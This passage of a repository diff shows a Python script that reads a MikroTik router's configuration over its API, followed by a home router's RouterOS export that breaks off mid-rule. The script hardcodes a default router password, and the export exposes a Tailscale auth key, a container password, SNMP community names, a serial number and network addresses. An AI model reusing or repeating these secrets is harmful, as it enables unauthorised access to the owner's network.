|
||||||
|
if comment:
|
||||||
|
print(f" Comment: {comment}")
|
||||||
|
if dynamic:
|
||||||
|
print(f" Dynamic: Yes")
|
||||||
|
print()
|
||||||
|
|
||||||
|
subnets.append({
|
||||||
|
'address': address,
|
||||||
|
'network': network,
|
||||||
|
'interface': interface,
|
||||||
|
'comment': comment,
|
||||||
|
'dynamic': dynamic
|
||||||
|
})
|
||||||
|
|
||||||
|
# Get interfaces
|
||||||
|
print("\n=== Active Interfaces ===")
|
||||||
|
interfaces = api('/interface/print')
|
||||||
|
active_interfaces = []
|
||||||
|
|
||||||
|
for iface in interfaces:
|
||||||
|
if not iface.get('disabled', False) and iface.get('running', False):
|
||||||
|
name = iface['name']
|
||||||
|
itype = iface.get('type', 'unknown')
|
||||||
|
mac = iface.get('mac-address', 'N/A')
|
||||||
|
comment = iface.get('comment', '')
|
||||||
|
mtu = iface.get('mtu', 'default')
|
||||||
|
|
||||||
|
active_interfaces.append({
|
||||||
|
'name': name,
|
||||||
|
'type': itype,
|
||||||
|
'mac': mac,
|
||||||
|
'comment': comment,
|
||||||
|
'mtu': mtu
|
||||||
|
})
|
||||||
|
|
||||||
|
print(f"{name} ({itype})")
|
||||||
|
if comment:
|
||||||
|
print(f" Comment: {comment}")
|
||||||
|
if mac != 'N/A':
|
||||||
|
print(f" MAC: {mac}")
|
||||||
|
|
||||||
|
# Get VLANs
|
||||||
|
print("\n\n=== VLANs ===")
|
||||||
|
vlans = []
|
||||||
|
try:
|
||||||
|
vlan_interfaces = api('/interface/vlan/print')
|
||||||
|
for vlan in vlan_interfaces:
|
||||||
|
if not vlan.get('disabled', False):
|
||||||
|
name = vlan['name']
|
||||||
|
vlan_id = vlan.get('vlan-id', 'unknown')
|
||||||
|
interface = vlan.get('interface', 'unknown')
|
||||||
|
|
||||||
|
vlans.append({
|
||||||
|
'name': name,
|
||||||
|
'vlan_id': vlan_id,
|
||||||
|
'interface': interface
|
||||||
|
})
|
||||||
|
|
||||||
|
print(f"{name}: VLAN {vlan_id} on {interface}")
|
||||||
|
except:
|
||||||
|
print("No VLANs found or access denied")
|
||||||
|
|
||||||
|
# Get PPPoE servers
|
||||||
|
print("\n\n=== PPPoE Servers ===")
|
||||||
|
pppoe_servers = []
|
||||||
|
try:
|
||||||
|
servers = api('/interface/pppoe-server/server/print')
|
||||||
|
for server in servers:
|
||||||
|
if not server.get('disabled', False):
|
||||||
|
name = server.get('service-name', 'unnamed')
|
||||||
|
interface = server.get('interface', 'unknown')
|
||||||
|
|
||||||
|
pppoe_servers.append({
|
||||||
|
'service_name': name,
|
||||||
|
'interface': interface
|
||||||
|
})
|
||||||
|
|
||||||
|
print(f"Service: {name} on {interface}")
|
||||||
|
except:
|
||||||
|
print("No PPPoE servers found or access denied")
|
||||||
|
|
||||||
|
# Get static routes
|
||||||
|
print("\n\n=== Static Routes ===")
|
||||||
|
routes = []
|
||||||
|
try:
|
||||||
|
static_routes = api('/ip/route/print')
|
||||||
|
for route in static_routes:
|
||||||
|
if not route.get('dynamic', False) and not route.get('disabled', False):
|
||||||
|
dst = route.get('dst-address', '')
|
||||||
|
gateway = route.get('gateway', '')
|
||||||
|
distance = route.get('distance', '')
|
||||||
|
comment = route.get('comment', '')
|
||||||
|
|
||||||
|
if dst != '0.0.0.0/0': # Skip default route for brevity
|
||||||
|
routes.append({
|
||||||
|
'destination': dst,
|
||||||
|
'gateway': gateway,
|
||||||
|
'distance': distance,
|
||||||
|
'comment': comment
|
||||||
|
})
|
||||||
|
|
||||||
|
print(f"{dst} via {gateway}")
|
||||||
|
if comment:
|
||||||
|
print(f" Comment: {comment}")
|
||||||
|
except:
|
||||||
|
print("Could not retrieve routes")
|
||||||
|
|
||||||
|
# Close connection
|
||||||
|
api.close()
|
||||||
|
|
||||||
|
# Compile all data
|
||||||
|
router_data = {
|
||||||
|
'host': host,
|
||||||
|
'identity': identity,
|
||||||
|
'timestamp': datetime.now().isoformat(),
|
||||||
|
'subnets': subnets,
|
||||||
|
'interfaces': active_interfaces,
|
||||||
|
'vlans': vlans,
|
||||||
|
'pppoe_servers': pppoe_servers,
|
||||||
|
'routes': routes
|
||||||
|
}
|
||||||
|
|
||||||
|
print(f"\n\n=== Summary ===")
|
||||||
|
print(f"Router: {identity or host}")
|
||||||
|
print(f"Found {len(subnets)} IP addresses/subnets")
|
||||||
|
print(f"Found {len(active_interfaces)} active interfaces")
|
||||||
|
print(f"Found {len(vlans)} VLANs")
|
||||||
|
print(f"Found {len(pppoe_servers)} PPPoE servers")
|
||||||
|
print(f"Found {len(routes)} static routes")
|
||||||
|
|
||||||
|
return router_data
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"✗ Connection failed: {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def save_router_data(data, filename=None):
|
||||||
|
"""Save router data to a JSON file"""
|
||||||
|
if not filename:
|
||||||
|
# Generate filename based on router identity or IP
|
||||||
|
identity = data.get('identity') or data.get('host', 'router')
|
||||||
|
identity_clean = identity.replace(' ', '_').replace('/', '_').replace('.', '_')
|
||||||
|
filename = f"router_data_{identity_clean}_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json"
|
||||||
|
|
||||||
|
with open(filename, 'w') as f:
|
||||||
|
json.dump(data, f, indent=2)
|
||||||
|
|
||||||
|
print(f"\nData saved to: {filename}")
|
||||||
|
return filename
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(description='Retrieve configuration from a MikroTik router')
|
||||||
|
parser.add_argument('host', help='IP address or hostname of the router')
|
||||||
|
parser.add_argument('--username', '-u', default='grahamro', help='Router username (default: grahamro)')
|
||||||
|
parser.add_argument('--password', '-p', default='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', help='Router password')
|
||||||
|
parser.add_argument('--port', type=int, default=8729, help='API-SSL port (default: 8729)')
|
||||||
|
parser.add_argument('--output', '-o', help='Output filename (default: auto-generated)')
|
||||||
|
parser.add_argument('--json', action='store_true', help='Output raw JSON to stdout')
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
# Get router data
|
||||||
|
data = get_router_data(args.host, args.username, args.password, args.port)
|
||||||
|
|
||||||
|
if data:
|
||||||
|
if args.json:
|
||||||
|
# Output JSON to stdout
|
||||||
|
print("\n=== JSON Output ===")
|
||||||
|
print(json.dumps(data, indent=2))
|
||||||
|
else:
|
||||||
|
# Save to file
|
||||||
|
save_router_data(data, args.output)
|
||||||
|
print("\n✓ Router data retrieved successfully")
|
||||||
|
else:
|
||||||
|
print("\n✗ Failed to retrieve router data")
|
||||||
|
return 1
|
||||||
|
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
sys.exit(main())
|
||||||
493
home.rsc
Normal file
493
home.rsc
Normal file
|
|
@ -0,0 +1,493 @@
|
||||||
|
# 2026-04-18 12:49:26 by RouterOS 7.22.1
|
||||||
|
# software id = ZGNY-ZJW7
|
||||||
|
#
|
||||||
|
# model = RB5009UG+S+
|
||||||
|
# serial number = HC907QQ15FR
|
||||||
|
/interface bridge
|
||||||
|
add admin-mac=74:4D:28:1A:67:0A auto-mac=no comment=defconf mtu=1500 name=\
|
||||||
|
bridge port-cost-mode=short
|
||||||
|
add name=containers
|
||||||
|
add mtu=1500 name=docker port-cost-mode=short
|
||||||
|
add mtu=1500 name=dockers port-cost-mode=short
|
||||||
|
add disabled=yes mtu=1500 name=public
|
||||||
|
/interface ethernet
|
||||||
|
set [ find default-name=ether1 ] l2mtu=9578
|
||||||
|
set [ find default-name=ether2 ] l2mtu=9578
|
||||||
|
set [ find default-name=ether3 ] l2mtu=9578 name=ether3-servers
|
||||||
|
set [ find default-name=ether4 ] l2mtu=9578 name=ether4-house-60g
|
||||||
|
set [ find default-name=ether5 ] l2mtu=9578 name=ether5-vntx-static
|
||||||
|
set [ find default-name=ether6 ] l2mtu=9578 name=ether6-tmobile
|
||||||
|
set [ find default-name=ether7 ] l2mtu=9578 name=ether7-starlink
|
||||||
|
set [ find default-name=ether8 ] disabled=yes l2mtu=9578
|
||||||
|
set [ find default-name=sfp-sfpplus1 ] l2mtu=9586
|
||||||
|
/interface pppoe-client
|
||||||
|
add interface=ether8 max-mtu=1500 name=pppoe-out1 use-peer-dns=yes user=\
|
||||||
|
grahammcintire
|
||||||
|
/interface veth
|
||||||
|
add address=172.17.0.2/16 container-mac-address=4C:B3:A4:3A:BC:FF dhcp=no \
|
||||||
|
gateway=172.17.0.1 gateway6="" mac-address=4C:B3:A4:3A:BC:FE name=veth1
|
||||||
|
/interface list
|
||||||
|
add comment=defconf name=WAN
|
||||||
|
add comment=defconf name=LAN
|
||||||
|
/interface wireless security-profiles
|
||||||
|
set [ find default=yes ] supplicant-identity=MikroTik
|
||||||
|
/ip pool
|
||||||
|
add name=home ranges=10.0.17.1-10.0.18.249
|
||||||
|
add name=dhcp_pool1 ranges=10.0.8.1-10.0.14.254
|
||||||
|
/ip dhcp-server
|
||||||
|
add add-arp=yes address-pool=home bootp-lease-time=lease-time bootp-support=\
|
||||||
|
dynamic interface=bridge lease-time=8h name=server1
|
||||||
|
add address-pool=dhcp_pool1 interface=ether3-servers name=servers
|
||||||
|
/ipv6 pool
|
||||||
|
add name=tunnerbroker prefix=2001:470:ba50::/48 prefix-length=48
|
||||||
|
/port
|
||||||
|
set 0 baud-rate=9600
|
||||||
|
/interface ppp-client
|
||||||
|
add apn=internet name=ppp-out1 port=usb1
|
||||||
|
/queue type
|
||||||
|
set 0 kind=fq-codel
|
||||||
|
/routing table
|
||||||
|
add disabled=no fib name=vntx
|
||||||
|
add disabled=no fib name=tmo
|
||||||
|
/snmp community
|
||||||
|
set [ find default=yes ] addresses=10.0.16.0/22,10.0.0.0/8,204.110.188.0/22 \
|
||||||
|
name=kdyyJrT0Mm
|
||||||
|
add addresses=::/0 authentication-protocol=SHA1 encryption-protocol=AES name=\
|
||||||
|
testtest security=private
|
||||||
|
add addresses=10.0.16.0/22 name=testlocal
|
||||||
|
/system script
|
||||||
|
add dont-require-permissions=no name=api-ssl-certgen owner=admin policy=\
|
||||||
|
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source=":\
|
||||||
|
local hostname \"router.example.com\"; :local caName \"local-ca\"; :local \
|
||||||
|
certName \"api-ssl-cert\"; :local sanList (\"DNS:\" . \$hostname); :foreac\
|
||||||
|
h i in=[/ip/address find] do={ :local addr [/ip/address get \$i address]; \
|
||||||
|
:set addr [:pick \$addr 0 [:find \$addr \"/\"]]; :set sanList (\$sanList .\
|
||||||
|
\_\",IP:\" . \$addr); }; /certificate add name=\$caName common-name=\$caNa\
|
||||||
|
me key-usage=key-cert-sign,crl-sign days-valid=3650; /certificate sign \$c\
|
||||||
|
aName; /certificate add name=\$certName common-name=\$hostname subject-alt\
|
||||||
|
-name=\$sanList key-usage=digital-signature,key-encipherment,tls-server da\
|
||||||
|
ys-valid=825; /certificate sign \$certName ca=\$caName; /certificate set \
|
||||||
|
\$certName trusted=yes; /ip/service set api-ssl certificate=\$certName dis\
|
||||||
|
abled=no; /ip/service set api disabled=yes;"
|
||||||
|
/container
|
||||||
|
add envlists=tailscale interface=veth1 layer-dir="" name=\
|
||||||
|
tailscale-mikrotik:latest remote-image=\
|
||||||
|
fluent-networks/tailscale-mikrotik:latest root-dir=\
|
||||||
|
/disk1/containers/tailscale start-on-boot=yes workdir=/
|
||||||
|
/container config
|
||||||
|
set registry-url=https://ghcr.io tmpdir=/disk1/pull
|
||||||
|
/container envs
|
||||||
|
add key=ADVERTISE_ROUTES list=tailscale value=10.0.8.0/22,10.0.16.0/22
|
||||||
|
add key=AUTH_KEY list=tailscale value=\
|
||||||
|
tskey-auth-k9B9aH7Cyk11CNTRL-yYzpiX8XThCFiVV3pVMthCUKfN8wKTjBD
|
||||||
|
add key=CONTAINER_GATEWAY list=tailscale value=172.17.0.1
|
||||||
|
add key=PASSWORD list=tailscale value=h8xd9tkryg
|
||||||
|
add key=RUNNING_SCRIPT list=tailscale value=/var/lib/tailscale/running.sh
|
||||||
|
add key=STARTUP_SCRIPT list=tailscale value=/var/lib/tailscale/startup.sh
|
||||||
|
add key=TAILSCALE_ARGS list=tailscale value=\
|
||||||
|
"--accept-routes --advertise-exit-node"
|
||||||
|
add key=UPDATE_TAILSCALE list=tailscale value=""
|
||||||
|
/container mounts
|
||||||
|
add dst=/var/lib/tailscale list=tailscale src=/tailscale
|
||||||
|
/ip smb
|
||||||
|
set enabled=no
|
||||||
|
/interface bridge port
|
||||||
|
add bridge=bridge comment=defconf ingress-filtering=no interface=\
|
||||||
|
ether4-house-60g internal-path-cost=10 path-cost=10
|
||||||
|
add bridge=bridge comment=defconf ingress-filtering=no interface=sfp-sfpplus1 \
|
||||||
|
internal-path-cost=10 path-cost=10
|
||||||
|
add bridge=dockers interface=veth1
|
||||||
|
/interface detect-internet
|
||||||
|
set detect-interface-list=all internet-interface-list=all lan-interface-list=\
|
||||||
|
LAN wan-interface-list=WAN
|
||||||
|
/interface list member
|
||||||
|
add comment=defconf interface=bridge list=LAN
|
||||||
|
add interface=ether5-vntx-static list=WAN
|
||||||
|
add interface=ether6-tmobile list=WAN
|
||||||
|
add disabled=yes interface=ether8 list=WAN
|
||||||
|
add interface=ether7-starlink list=WAN
|
||||||
|
add interface=*14 list=WAN
|
||||||
|
/interface ovpn-server server
|
||||||
|
add mac-address=FE:1C:5C:10:15:58 name=ovpn-server1
|
||||||
|
/ip address
|
||||||
|
add address=10.0.16.254/24 interface=bridge network=10.0.16.0
|
||||||
|
add address=172.17.0.1/16 interface=dockers network=172.17.0.0
|
||||||
|
add address=204.110.191.1/27 interface=ether5-vntx-static network=\
|
||||||
|
204.110.191.0
|
||||||
|
add address=10.0.19.254/22 interface=bridge network=10.0.16.0
|
||||||
|
add address=10.99.1.1/24 interface=*16 network=10.99.1.0
|
||||||
|
add address=10.0.101.253/24 disabled=yes interface=ether4-house-60g network=\
|
||||||
|
10.0.101.0
|
||||||
|
add address=10.0.15.254/21 interface=ether3-servers network=10.0.8.0
|
||||||
|
/ip dhcp-client
|
||||||
|
add add-default-route=no interface=ether6-tmobile name=client1 use-peer-dns=\
|
||||||
|
no use-peer-ntp=no
|
||||||
|
# Interface not active
|
||||||
|
add add-default-route=no interface=ether7-starlink name=client2 use-peer-dns=\
|
||||||
|
no use-peer-ntp=no
|
||||||
|
/ip dhcp-server lease
|
||||||
|
add address=10.0.16.2 client-id=\
|
||||||
|
ff:85:d2:82:8a:0:2:0:0:ab:11:cb:63:d8:6c:a1:65:c1:58 comment=unifi \
|
||||||
|
mac-address=74:83:C2:1D:4C:51 server=server1
|
||||||
|
add address=10.0.16.251 client-id=1:34:98:b5:ae:bc:e3 mac-address=\
|
||||||
|
34:98:B5:AE:BC:E3 server=server1
|
||||||
|
add address=10.0.16.1 client-id=1:c8:7f:54:d0:4:2f mac-address=\
|
||||||
|
C8:7F:54:D0:04:2F server=server1
|
||||||
|
add address=10.0.19.250 client-id=\
|
||||||
|
ff:11:94:ec:20:0:1:0:1:2d:e2:38:27:bc:24:11:94:ec:20 mac-address=\
|
||||||
|
BC:24:11:94:EC:20 server=server1
|
||||||
|
add address=10.0.16.4 client-id=\
|
||||||
|
ff:d8:d6:53:a5:0:2:0:0:ab:11:d0:cc:22:d6:96:fe:cd:b1 comment=g.vntx.net \
|
||||||
|
mac-address=8C:AE:4C:DD:84:92 server=server1
|
||||||
|
add address=10.0.19.136 client-id=1:38:b4:d3:30:3f:4 comment=dishwasher \
|
||||||
|
mac-address=38:B4:D3:30:3F:04 server=server1
|
||||||
|
add address=10.0.19.225 client-id=1:2c:cf:67:d:b9:4c mac-address=\
|
||||||
|
2C:CF:67:0D:B9:4C server=server1
|
||||||
|
add address=10.0.18.4 client-id=1:48:da:35:6f:86:a3 comment=nanokvm \
|
||||||
|
mac-address=48:DA:35:6F:86:A3 server=server1
|
||||||
|
add address=10.0.18.228 client-id=1:e0:63:da:0:70:89 mac-address=\
|
||||||
|
E0:63:DA:00:70:89 server=server1
|
||||||
|
add address=10.0.17.189 client-id=1:c4:e7:ae:17:6d:d3 mac-address=\
|
||||||
|
C4:E7:AE:17:6D:D3 server=server1
|
||||||
|
add address=10.0.15.1 client-id=1:bc:24:11:9b:48:92 mac-address=\
|
||||||
|
BC:24:11:9B:48:92 server=servers
|
||||||
|
add address=10.0.15.2 client-id=1:bc:24:11:62:7b:3f mac-address=\
|
||||||
|
BC:24:11:62:7B:3F server=servers
|
||||||
|
add address=10.0.15.3 client-id=1:bc:24:11:d4:2f:ed mac-address=\
|
||||||
|
BC:24:11:D4:2F:ED server=servers
|
||||||
|
add address=10.0.15.4 client-id=1:bc:24:11:43:3f:ff mac-address=\
|
||||||
|
BC:24:11:43:3F:FF server=servers
|
||||||
|
add address=10.0.15.5 client-id=1:bc:24:11:62:c4:8f mac-address=\
|
||||||
|
BC:24:11:62:C4:8F server=servers
|
||||||
|
add address=10.0.15.6 client-id=1:bc:24:11:3f:8e:1a mac-address=\
|
||||||
|
BC:24:11:3F:8E:1A server=servers
|
||||||
|
add address=10.0.15.20 client-id=1:2c:cf:67:d:b9:4c mac-address=\
|
||||||
|
2C:CF:67:0D:B9:4C server=servers
|
||||||
|
add address=10.0.15.253 client-id=1:78:9a:18:3f:cb:fe mac-address=\
|
||||||
|
78:9A:18:3F:CB:FE server=servers
|
||||||
|
add address=10.0.19.241 client-id=1:f4:92:bf:91:8a:61 mac-address=\
|
||||||
|
F4:92:BF:91:8A:61 server=server1
|
||||||
|
add address=10.0.15.21 mac-address=BC:24:11:98:1C:19 server=servers
|
||||||
|
add address=10.0.17.185 client-id=1:74:4d:bd:c5:87:cc mac-address=\
|
||||||
|
74:4D:BD:C5:87:CC server=server1
|
||||||
|
add address=10.0.17.17 client-id=1:f0:24:f9:55:b8:94 mac-address=\
|
||||||
|
F0:24:F9:55:B8:94 server=server1
|
||||||
|
add address=10.0.17.184 mac-address=50:02:91:38:EB:98 server=server1
|
||||||
|
add address=10.0.16.3 client-id=1:52:54:0:5c:f7:36 mac-address=\
|
||||||
|
52:54:00:5C:F7:36 server=server1
|
||||||
|
add address=10.0.17.25 client-id=1:20:f8:3b:9:49:cd mac-address=\
|
||||||
|
20:F8:3B:09:49:CD server=server1
|
||||||
|
add address=10.0.17.51 mac-address=40:F5:20:C5:9B:EE server=server1
|
||||||
|
add address=10.0.16.5 client-id=\
|
||||||
|
ff:ef:a8:c2:c6:0:1:0:1:31:4c:1f:7:b0:dc:ef:a8:c2:c6 mac-address=\
|
||||||
|
B0:DC:EF:A8:C2:C6 server=server1
|
||||||
|
add address=10.0.17.22 mac-address=EC:94:CB:AA:56:A3 server=server1
|
||||||
|
add address=10.0.15.23 client-id=1:36:4a:9d:b7:36:fc mac-address=\
|
||||||
|
36:4A:9D:B7:36:FC server=servers
|
||||||
|
add address=10.0.15.24 client-id=\
|
||||||
|
ff:23:7c:24:3e:0:2:0:0:ab:11:ad:b5:e:a0:e1:d9:51:1a mac-address=\
|
||||||
|
F6:86:CC:17:A7:F9 server=servers
|
||||||
|
add address=10.0.17.42 mac-address=34:AB:95:12:8B:DB server=server1
|
||||||
|
/ip dhcp-server network
|
||||||
|
add address=10.0.8.0/21 domain=mcintire.me gateway=10.0.15.254
|
||||||
|
add address=10.0.16.0/22 dns-server=10.0.19.250,9.9.9.9 domain=w5isp.com \
|
||||||
|
gateway=10.0.19.254
|
||||||
|
/ip dns
|
||||||
|
set servers=9.9.9.9,149.112.112.112
|
||||||
|
/ip dns static
|
||||||
|
add address=192.168.88.1 comment=defconf name=router.lan type=A
|
||||||
|
add address=10.0.16.31 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
Lutron-01f3a316.w5isp.com ttl=15m type=A
|
||||||
|
add address=10.0.16.31 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
Lutron-01f3a316 ttl=15m type=A
|
||||||
|
add address=10.0.16.3 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
homeassistant.w5isp.com ttl=15m type=A
|
||||||
|
add address=10.0.16.3 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
homeassistant ttl=15m type=A
|
||||||
|
add address=10.0.16.1 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
Tower.w5isp.com ttl=15m type=A
|
||||||
|
add address=10.0.16.1 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
Tower ttl=15m type=A
|
||||||
|
add address=10.0.16.252 comment=dhcp-lease-script_server1_lease-hostname \
|
||||||
|
name=10g-switch-house.w5isp.com ttl=15m type=A
|
||||||
|
add address=10.0.16.252 comment=dhcp-lease-script_server1_lease-hostname \
|
||||||
|
name=10g-switch-house ttl=15m type=A
|
||||||
|
add address=10.0.16.41 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
Living-Room.w5isp.com ttl=15m type=A
|
||||||
|
add address=10.0.16.41 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
Living-Room ttl=15m type=A
|
||||||
|
add address=10.0.16.253 comment=dhcp-lease-script_server1_lease-hostname \
|
||||||
|
name="Office 2.5G Switch.w5isp.com" ttl=15m type=A
|
||||||
|
add address=10.0.16.253 comment=dhcp-lease-script_server1_lease-hostname \
|
||||||
|
name="Office 2.5G Switch" ttl=15m type=A
|
||||||
|
add address=10.0.16.36 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
HallwayAP.w5isp.com ttl=15m type=A
|
||||||
|
add address=10.0.16.38 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
LivingRoom.w5isp.com ttl=15m type=A
|
||||||
|
add address=10.0.16.36 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
HallwayAP ttl=15m type=A
|
||||||
|
add address=10.0.16.38 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
LivingRoom ttl=15m type=A
|
||||||
|
add address=10.0.16.86 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
OutsideNE.w5isp.com ttl=15m type=A
|
||||||
|
add address=10.0.16.86 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
OutsideNE ttl=15m type=A
|
||||||
|
add address=10.0.16.43 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
HousePoESwitch.w5isp.com ttl=15m type=A
|
||||||
|
add address=10.0.16.43 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
HousePoESwitch ttl=15m type=A
|
||||||
|
add address=10.0.16.56 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
driveway.w5isp.com ttl=15m type=A
|
||||||
|
add address=10.0.16.56 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
driveway ttl=15m type=A
|
||||||
|
add address=10.0.16.44 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
Garins-MBP.w5isp.com ttl=15m type=A
|
||||||
|
add address=10.0.16.44 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
Garins-MBP ttl=15m type=A
|
||||||
|
add address=10.0.16.64 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
Apple-Watch.w5isp.com ttl=15m type=A
|
||||||
|
add address=10.0.16.64 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
Apple-Watch ttl=15m type=A
|
||||||
|
add address=10.0.16.37 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
gmcparallels.w5isp.com ttl=15m type=A
|
||||||
|
add address=10.0.16.37 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
gmcparallels ttl=15m type=A
|
||||||
|
add address=10.0.16.33 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
mbp14.w5isp.com ttl=15m type=A
|
||||||
|
add address=10.0.16.33 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
mbp14 ttl=15m type=A
|
||||||
|
add address=10.0.16.30 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
Office.w5isp.com ttl=15m type=A
|
||||||
|
add address=10.0.16.30 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
Office ttl=15m type=A
|
||||||
|
add address=10.0.16.49 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
openspot2.w5isp.com ttl=15m type=A
|
||||||
|
add address=10.0.16.49 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||||
|
openspot2 ttl=15m type=A
|
||||||
|
/ip firewall address-list
|
||||||
|
add address=10.0.16.0/22 list=local
|
||||||
|
add address=185.90.196.0/22 list=starlink
|
||||||
|
add address=10.0.16.78 disabled=yes list=iot-blocked
|
||||||
|
add address=10.0.16.80 disabled=yes list=iot-blocked
|
||||||
|
add address=81.171.92.0/23 list=nzb
|
||||||
|
add address=82.68.15.22 list=nzb
|
||||||
|
add address=85.12.62.0/24 list=nzb
|
||||||
|
add address=10.0.17.189 list=iot-blocked
|
||||||
|
add address=news.eweka.nl list=eweka-tmo
|
||||||
|
add address=185.90.196.0/22 comment="eweka range" list=eweka-tmo
|
||||||
|
add address=81.171.92.0/23 comment="eweka range" list=eweka-tmo
|
||||||
|
/ip firewall filter
|
||||||
|
add action=accept chain=input dst-address=0.0.0.0 protocol=udp src-address=\
|
||||||
|
104.238.146.79
|
||||||
|
add action=accept chain=forward dst-port=25565 in-interface=\
|
||||||
|
ether5-vntx-static log=yes protocol=tcp
|
||||||
|
add action=accept chain=forward dst-port=25565 in-interface=\
|
||||||
|
ether5-vntx-static log=yes protocol=udp
|
||||||
|
add action=drop chain=forward out-interface=ether5-vntx-static \
|
||||||
|
src-address-list=iot-blocked
|
||||||
|
add action=drop chain=forward out-interface=ether6-tmobile src-address-list=\
|
||||||
|
iot-blocked
|
||||||
|
add action=drop chain=forward out-interface=all-ppp src-address-list=\
|
||||||
|
iot-blocked
|
||||||
|
add action=drop chain=forward out-interface=ether7-starlink src-address-list=\
|
||||||
|
iot-blocked
|
||||||
|
add action=accept chain=input comment=\
|
||||||
|
"defconf: accept established,related,untracked" connection-state=\
|
||||||
|
established,related,untracked
|
||||||
|
add action=drop chain=input comment="defconf: drop invalid" connection-state=\
|
||||||
|
invalid
|
||||||
|
add action=reject chain=forward comment="Block roblox.com" disabled=yes \
|
||||||
|
protocol=tcp reject-with=icmp-host-unreachable src-address-list=local \
|
||||||
|
tls-host=*.roblox.com
|
||||||
|
add action=accept chain=input comment="defconf: accept ICMP" protocol=icmp
|
||||||
|
add action=accept chain=input comment=\
|
||||||
|
"defconf: accept to local loopback (for CAPsMAN)" dst-address=127.0.0.1
|
||||||
|
add action=drop chain=input comment="defconf: drop all not coming from LAN" \
|
||||||
|
in-interface-list=!LAN
|
||||||
|
add action=accept chain=forward comment="defconf: accept in ipsec policy" \
|
||||||
|
ipsec-policy=in,ipsec
|
||||||
|
add action=accept chain=forward comment="defconf: accept out ipsec policy" \
|
||||||
|
ipsec-policy=out,ipsec
|
||||||
|
add action=accept chain=forward comment="no fasttrack for eweka" \
|
||||||
|
connection-mark=eweka-conn
|
||||||
|
add action=fasttrack-connection chain=forward comment="defconf: fasttrack" \
|
||||||
|
connection-state=established,related
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"defconf: accept established,related, untracked" connection-state=\
|
||||||
|
established,related,untracked
|
||||||
|
add action=drop chain=forward comment="defconf: drop invalid" \
|
||||||
|
connection-state=invalid
|
||||||
|
add action=drop chain=forward comment=\
|
||||||
|
"defconf: drop all from WAN not DSTNATed" connection-nat-state=!dstnat \
|
||||||
|
connection-state=new in-interface-list=WAN
|
||||||
|
add action=drop chain=input disabled=yes dst-port=53 in-interface=ether8 \
|
||||||
|
protocol=udp src-address=!10.0.16.0/22
|
||||||
|
/ip firewall mangle
|
||||||
|
add action=change-mss chain=forward comment="MSS clamp VNTX" new-mss=1400 \
|
||||||
|
out-interface=ether5-vntx-static protocol=tcp tcp-flags=syn
|
||||||
|
add action=change-mss chain=forward comment="MSS clamp VNTX inbound" \
|
||||||
|
in-interface=ether5-vntx-static new-mss=1400 protocol=tcp tcp-flags=syn
|
||||||
|
add action=change-mss chain=forward comment="MSS clamp TMO out" new-mss=1460 \
|
||||||
|
out-interface=ether6-tmobile protocol=tcp tcp-flags=syn
|
||||||
|
add action=change-mss chain=forward comment="MSS clamp TMO in" in-interface=\
|
||||||
|
ether6-tmobile new-mss=1460 protocol=tcp tcp-flags=syn
|
||||||
|
add action=change-mss chain=forward comment="MSS clamp Starlink out" new-mss=\
|
||||||
|
1460 out-interface=ether7-starlink protocol=tcp tcp-flags=syn
|
||||||
|
add action=change-mss chain=forward comment="MSS clamp Starlink in" \
|
||||||
|
in-interface=ether7-starlink new-mss=1460 protocol=tcp tcp-flags=syn
|
||||||
|
add action=mark-connection chain=prerouting comment="eweka -> tmo (conn)" \
|
||||||
|
dst-address-list=eweka-tmo new-connection-mark=eweka-conn
|
||||||
|
add action=mark-routing chain=prerouting comment="eweka -> tmo (route)" \
|
||||||
|
connection-mark=eweka-conn new-routing-mark=tmo passthrough=no
|
||||||
|
/ip firewall nat
|
||||||
|
add action=src-nat chain=srcnat connection-mark=plex-out disabled=yes \
|
||||||
|
out-interface=*14 src-address=10.0.16.1 to-addresses=204.110.191.1
|
||||||
|
add action=src-nat chain=srcnat disabled=yes src-address=10.0.16.5 \
|
||||||
|
to-addresses=204.110.191.1
|
||||||
|
add action=src-nat chain=srcnat out-interface=ether5-vntx-static src-address=\
|
||||||
|
10.0.16.1 to-addresses=204.110.191.1
|
||||||
|
add action=masquerade chain=srcnat disabled=yes out-interface=all-ppp \
|
||||||
|
